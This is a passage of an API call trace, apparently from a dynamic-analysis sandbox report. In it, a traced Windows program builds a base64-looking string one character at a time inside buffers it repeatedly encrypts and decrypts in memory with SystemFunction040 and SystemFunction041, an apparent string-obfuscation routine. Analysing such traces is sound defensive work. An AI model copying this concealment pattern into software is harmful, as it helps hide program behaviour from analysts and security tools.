returned 0x0 [0131.653] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0131.653] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0131.653] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.653] SysStringLen (param_1="YW") returned 0x8 [0131.654] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.654] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0131.654] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0131.654] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.654] SysStringLen (param_1="YWM") returned 0x8 [0131.654] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.654] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0131.654] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0131.654] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.654] SysStringLen (param_1="YWM1") returned 0x8 [0131.654] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.654] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0131.654] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0131.654] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.654] SysStringLen (param_1="YWM1O") returned 0x8 [0131.654] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.655] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0131.655] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0131.655] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.655] SysStringLen (param_1="YWM1OT") returned 0x8 [0131.655] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.655] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0131.655] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0131.655] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.655] SysStringLen (param_1="YWM1OTE") returned 0x8 [0131.655] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.655] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0131.655] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0131.655] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.655] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0131.655] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.655] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0131.656] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0131.656] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0131.656] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0131.656] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.656] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0131.656] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.656] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0131.656] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0131.656] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.656] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0131.656] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.656] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0131.656] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0131.656] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.656] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0131.656] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.656] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0131.657] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0131.657] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.657] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0131.657] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.657] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0131.657] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0131.657] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.657] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0131.657] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.657] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0131.657] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0131.657] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.657] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0131.657] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.657] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0131.657] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0131.657] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.658] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0131.658] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.658] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0131.658] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0131.658] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.658] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0131.658] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.658] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0131.658] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0131.658] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0131.658] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0131.658] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.658] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0131.658] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.658] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0131.658] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0131.658] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.659] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0131.659] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.659] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0131.659] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0131.659] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.659] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0131.659] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.659] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0131.659] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0131.659] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.659] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0131.659] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.659] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0131.659] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0131.659] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.660] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0131.660] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.660] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0131.660] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0131.660] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.660] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0131.660] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.660] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0131.660] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0131.660] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.660] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0131.660] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.660] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0131.660] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0131.660] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.660] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0131.660] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.661] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0131.661] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0131.661] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0131.661] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0131.661] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.661] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0131.661] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.661] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0131.661] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0131.661] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.661] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0131.661] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.661] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0131.661] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0131.662] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.663] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0131.663] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.663] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0131.663] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0131.663] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.663] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0131.663] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.663] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0131.663] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0131.663] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.663] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0131.663] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.663] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0131.663] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0131.663] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.663] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0131.664] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.664] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0131.664] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0131.664] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.664] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0131.664] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.664] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0131.664] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0131.664] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.664] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0131.664] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.664] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0131.664] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0131.664] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0131.664] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0131.664] SystemFunction041 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.665] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0131.665] SystemFunction040 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.665] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0131.665] SysStringLen 